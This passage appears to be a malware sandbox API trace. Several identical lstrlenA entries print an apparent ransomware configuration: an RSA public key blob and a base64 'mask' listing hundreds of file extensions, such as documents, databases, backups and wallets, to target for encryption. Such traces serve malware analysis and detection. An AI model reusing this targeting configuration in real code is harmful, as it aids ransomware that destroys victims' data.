C5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0135.129] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0135.129] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0135.129] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0135.129] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLC